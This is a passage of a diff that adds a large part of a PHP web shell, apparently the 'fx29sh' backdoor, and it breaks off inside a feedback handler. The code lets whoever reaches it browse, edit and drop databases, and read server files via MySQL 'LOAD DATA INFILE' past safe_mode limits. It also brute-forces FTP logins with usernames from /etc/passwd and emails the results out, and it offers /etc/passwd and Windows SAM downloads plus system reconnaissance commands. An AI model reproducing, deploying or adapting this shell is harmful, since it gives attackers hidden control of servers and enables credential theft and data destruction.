href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) { } //Not Ready + else { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") { + if (!empty($kill)) { + $query = "KILL ".$kill.";"; + $result = mysql_query($query, $sql_sock); + echo "<b>Process #".$kill." was killed.</b>"; + } + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); + } + } + } +} +echo "</td></tr></table>\n"; +if ($sql_sock) { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>"; +} +echo "</table>\n"; +} +//End of SQL Manager +if ($act == "ftpquickbrute") { +echo "<center><table><tr><td class=barheader colspan=2>"; +echo ".: Ftp Quick Brute :.</td></tr>"; +echo "<tr><td>"; +if ($win) { echo "Can't run on Windows!"; } +else { + function fx29ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else { + if ($fqb_logging) { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) { + $str = explode(":",fgets($fp,2048)); + if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else { + $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">". + "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>". + "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>". + "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>". + "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>"; + } + echo "</td></tr></table></center>"; +} +} +if ($act == "d") { + if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; } + else { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); fx29shexit();} +if ($act == "security") { + echo "<div class=barheader>.: Server Security Information :.</div>\n". + "<table>\n". + "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n"; + echo "<td>Password File</td><td>"; + if (!$win) { + if ($nixpasswd) { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:<br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) { + $uid = posix_getpwuid($i); + if ($uid) { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";} + } + else { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; } + } + echo "</td></tr>\n"; + echo "<tr><td>Config Files</td><td>\n"; + if (!$win) { + $v = array( + array("User Domains","/etc/userdomains"), + array("Cpanel Config","/var/cpanel/accounting.log"), + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + array("Apache Config","/etc/httpd.conf"), + array("Syslog Config","/etc/syslog.conf"), + array("Message of The Day","/etc/motd"), + array("Hosts","/etc/hosts") + ); + $sep = "/"; + } + else { + $windir = $_SERVER["WINDIR"]; + $etcdir = $windir . "\system32\drivers\etc\\"; + $v = array( + array("Hosts",$etcdir."hosts"), + array("Local Network Map",$etcdir."networks"), + array("LM Hosts",$etcdir."lmhosts.sam"), + ); + $sep = "\\"; + } + foreach ($v as $sec_arr) { + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + $sec_d = rtrim($sec_arr[1],$sec_f); + $sec_full = $sec_d.$sec_f; + $sec_d = rtrim($sec_d,$sep); + if (file_get_contents($sec_full)) { + echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n"; + } + } + echo "</td></tr>"; + + function displaysecinfo($name,$value) { + if (!empty($value)) { + echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n"; + } + } + if (!$win) { + displaysecinfo("OS Version",fx29exec("cat /proc/version")); + displaysecinfo("Kernel Version",fx29exec("sysctl -a | grep version")); + displaysecinfo("Distrib Name",fx29exec("cat /etc/issue.net")); + displaysecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise")); + displaysecinfo("CPU Info",fx29exec("cat /proc/cpuinfo")); + displaysecinfo("RAM",fx29exec("free -m")); + displaysecinfo("HDD Space",fx29exec("df -h")); + displaysecinfo("List of Attributes",fx29exec("lsattr -a")); + displaysecinfo("Mount Options",fx29exec("cat /etc/fstab")); + displaysecinfo("lynx installed?",fx29exec("which lynx")); + displaysecinfo("links installed?",fx29exec("which links")); + displaysecinfo("GET installed?",fx29exec("which GET")); + displaysecinfo("Where is Apache?",fx29exec("whereis apache")); + displaysecinfo("Where is perl?",fx29exec("whereis perl")); + displaysecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf")); + displaysecinfo("Locate httpd.conf",fx29exec("locate httpd.conf")); + displaysecinfo("Locate my.conf",fx29exec("locate my.conf")); + displaysecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf")); + } + else { + displaysecinfo("OS Version",fx29exec("ver")); + displaysecinfo("Account Settings",fx29exec("net accounts")); + displaysecinfo("User Accounts",fx29exec("net user")); + } + echo "</table>\n"; +} +if ($act == "mkfile") { + if ($mkfile != $d) { + if ($overwrite == 0) { + if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); } + } + else { + if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); } + else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); } + } + } + else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; } +} +if ($act == "encoder") { +echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>". + "<form name=\"encoder\" action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=encoder>". + "<center><table class=contents>". + "<tr><td colspan=4 class=barheader>.: Encoder :.</td>". + "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>". + "<input type=submit value=\"calculate\"></td></tr>". + "<tr><td rowspan=4>Hashes:</td>"; +foreach(array("md5","crypt","sha1","crc32") as $v) { + echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>"; +} +echo "</tr>". + "<tr><td rowspan=2>Url:</td>". + "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>". + "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>". + "<tr><td rowspan=2>Base64:</td>". + "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>". + "<tr><td>base64_decode:</td><td>"; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";} +else { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; } + else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; } + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>"; +} +echo "</td></tr>". + "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; +$c = strlen($encoder_input); +for($i=0;$i<$c;$i++) { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} +} +echo "\" readonly></td></tr></table></center></form>"; +} +if ($act == "fsbuff") { + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";} + else { + $fx_infohead = "File-System Buffer"; + $ls_arr = $arr; + $disp_fullpath = TRUE; + $act = "ls"; + } +} +if ($act == "selfremove") { + if (($submit == $rndcode) and ($submit != "")) { + if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; fx29shexit(); } + else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; } + } + else { + if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\">\n". + "<input type=hidden name=act value=selfremove>". + "<input type=hidden name=rndcode value=\"".$rnd."\">". + "<b>Kill-shell: ".__FILE__." <br>". + "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\n". + "</form>\n"; + } +} +if ($act == "update") { + $ret = fx29sh_getupdate(!!$confirmupdate); + echo "<b>".$ret."</b>"; + if (stristr($ret,"new version")) { + echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">"; + } +} +if ($act == "feedback") { + $suppmail = base64_decode("ZmVlbGNvbXpAZ21haWwuY29t"); + if (!empty($submit)){ + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) { + 